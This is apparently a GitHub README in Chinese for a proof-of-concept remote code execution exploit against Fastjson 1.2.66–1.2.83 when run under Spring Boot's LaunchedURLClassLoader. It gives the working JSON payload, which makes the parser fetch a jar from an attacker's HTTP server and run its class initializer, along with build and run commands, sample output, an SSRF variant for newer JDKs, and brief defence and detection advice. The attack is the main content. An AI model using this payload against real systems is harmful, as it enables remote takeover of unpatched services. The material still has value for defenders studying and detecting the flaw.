triplexlove/2026FastjsonPoC

GitHub: triplexlove/2026FastjsonPoC

针对 Fastjson 1.2.66–1.2.83 版本 `@JSONType` 资源探测路径 RCE 漏洞的纯库 PoC,在 AutoType 关闭条件下利用 Spring Boot ClassLoader 实现远程代码执行。

Stars: 3 | Forks: 71

# Fastjson 1.2.66–1.2.83 JsonType 资源探测纯库 RCE PoC ## 结论(本仓库已本地复现) 在 **AutoType 默认关闭** 的前提下,仅调用: JSON.parse(payload); 即可在特定运行时条件下完成 **远程字节码加载 + 类初始化(``)**,属于 **parse 阶段纯库一键 RCE**(无需业务二次 `execute()` / 反射重绑)。 ### 完整 RCE 条件 | 条件 | 说明 | | --- | --- | | fastjson | **1.2.66 – 1.2.83**(含 `@JSONType` 资源探测路径) | | ClassLoader | Spring Boot 经典 FatJar 的 `LaunchedURLClassLoader`,或自定义会把 jar URL 当资源解析的 ClassLoader | | JDK | **完整 RCE:JDK 8**;JDK 9+ 仍可 **SSRF 拉 jar**,但 `defineClass` 因非法类名失败 | | 网络 | 目标进程可访问攻击者 HTTP(本 PoC 默认 `127.0.0.1:18080`) | | AutoType | **关闭亦可**(探测到 `@JSONType` 后走信任分支) | ### 与历史 RCE 的差异 | 项目 | 历史常见链 | 本链(JsonType) | | --- | --- | --- | | 入口 | `@type` + 黑名单绕过 / expectClass + gadget | `@type` 被拼成 **资源 URL**,触发 `getResourceAsStream` | | 依赖 gadget | `JdbcRowSetImpl` / `TemplatesImpl` 等 | **无经典 gadget 黑名单对象** | | 执行点 | 反序列化 setter / 二次调用 | **远程类 ``**(parse 内 load/init) | | 环境 | 视具体 gadget | **强依赖 ClassLoader + JDK8** | ## 原理(极简) `ParserConfig.checkAutoType` 在 AutoType 关闭时仍会: String resource = typeName.replace('.', '/') + ".class"; is = classLoader.getResourceAsStream(resource); // 扫描字节码是否含 @JSONType // 若有,则视为可加载类型 clazz = TypeUtils.loadClass(typeName, classLoader, cacheClass); Payload 形态: {"@type":"jar:http:..2130706433:18080.probe!.POC","x":1} - `2130706433` = `127.0.0.1` 的整数形式 - `.` → `/` 后变为:`jar:http://2130706433:18080/probe!/POC.class` - Spring Boot `LaunchedURLClassLoader` 会按 **jar:http URL** 拉取远程 jar 并定义类 - 类内 `@JSONType` + `` 写文件 / 执行逻辑 → RCE ## 目录 . |-- README.md |-- LICENSE |-- requirements.txt # 可选;默认不用第三方包 |-- payloads/payload.json |-- scripts/ | |-- fetch-deps.sh | `-- build-harness.sh |-- src/main/java/ | |-- Gen.java # ASM 生成非法 internal name + @JSONType + | |-- Test.java # 普通 AppClassLoader 基线 | |-- Test2.java # LaunchedURLClassLoader 完整路径 | |-- FatRunner.java | `-- POC.java |-- poc/serve_probe.py # 可选:单独托管 probe.jar `-- results_sample/ # 本机复现摘录(JDK8 RCE / JDK21 SSRF-only) ## 本机复现(推荐:内置 harness,一键) ### 0. 依赖 - **JDK 8**(完整 RCE 必须) - `curl`、`jar`(JDK 自带) - 可选:Python 3(仅 `poc/serve_probe.py`) ### 1. 构建 cd fastjson-jsontype-rce-poc bash scripts/build-harness.sh 脚本会下载到 `lib/`: - `fastjson-1.2.83.jar` - `spring-boot-loader-2.7.18.jar` - `spring-boot-loader-1.5.22.RELEASE.jar` - `asm-9.6.jar` 并生成: - `target/classes/*` - `probe.jar`(内部类名:`jar:http://2130706433:18080/probe!/POC`,`` 创建 `PWNED2`) ### 2. 基线:普通 classpath(预期失败 / 无出网) # 使用 JDK 8 java -cp "target/classes:lib/fastjson-1.2.83.jar" Test parse-default 预期: - `autoType is not support` - `[server] requests received: 0` - **无** `PWNED2` ### 3. 完整 RCE:Spring Boot 2.7 Loader + JDK 8 # 确保没有旧标记 python3 -c "from pathlib import Path; Path('PWNED2').unlink(missing_ok=True)" java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-parse ls -la PWNED2 预期关键输出: REMOTE POC EXECUTED (class defined from jar:http URL) [parse] parsed -> jar:http:..2130706433:18080.probe!.POC ... [server] requests: 4 [server] ... GET /probe HTTP/1.1 [pwned] PWNED2 exists: true ### 4. 其它模式 # 直接 loadClass java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-load # Spring Boot 1.5 loader java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-1.5.22.RELEASE.jar" Test2 sb15-parse # 仅探测 getResource / checkAutoType / FatRunner java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-direct java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-check java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-fatrun ### 5. JDK 9+(本机若只有 21,可验证 SSRF-only) 同一命令在 **JDK 21** 上通常看到: java.lang.ClassFormatError: Illegal class name "jar:http://2130706433:18080/probe!/POC" [server] requests: 4 # SSRF 仍发生 [pwned] PWNED2 exists: false ## Payload {"@type":"jar:http:..2130706433:18080.probe!.POC","x":1} - 端口可用系统属性覆盖:`-Dpoc.port=18080` - 落地文件名:`-Dpoc.pwnedFile=PWNED2`(生成字节码时生效,见 `Gen.java`) ## 本仓库本地实证摘要 | 环境 | 命令 | 出网 | RCE | | --- | --- | --- | --- | | JDK 8 + plain classpath | `Test parse-default` | 否 | 否 | | **JDK 8 + SB 2.7 LaunchedURLClassLoader** | **`Test2 sb27-parse`** | **是** | **是(PWNED2)** | | JDK 8 + SB 1.5 loader | `Test2 sb15-parse` | 是 | 是 | | JDK 21 + SB 2.7 loader | `Test2 sb27-parse` | 是 | 否(ClassFormatError) | 摘录日志见 `results_sample/`。 ## 防御建议 1. `-Dfastjson.parser.safeMode=true` 2. 迁移 **fastjson2** / 停用 1.x 解析不可信输入 3. 出站网络收敛(阻断任意 HTTP jar 拉取) 4. 优先 JDK 9+(阻断本链 defineClass,**不能**单独消除 SSRF) 5. 监控 `@type` 中含 `jar:`、`!`、`..`、整数 IP(如 `2130706433`)等模式 6. 慎用 `ParserConfig.setDefaultClassLoader` 指向可解析远程 URL 的 Loader ## 参考 - 上游研究 harness 思路:https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC - fastjson `ParserConfig.checkAutoType` 中 `@JSONType` 资源探测段 - Spring Boot `LaunchedURLClassLoader` / nested jar URL Handler ## 免责声明 本项目用于防御与授权复现。使用者自行承担合规责任。
标签:CISA项目, Fastjson, GHAS, Java安全, JS文件枚举, RCE, 域名枚举, 逆向工具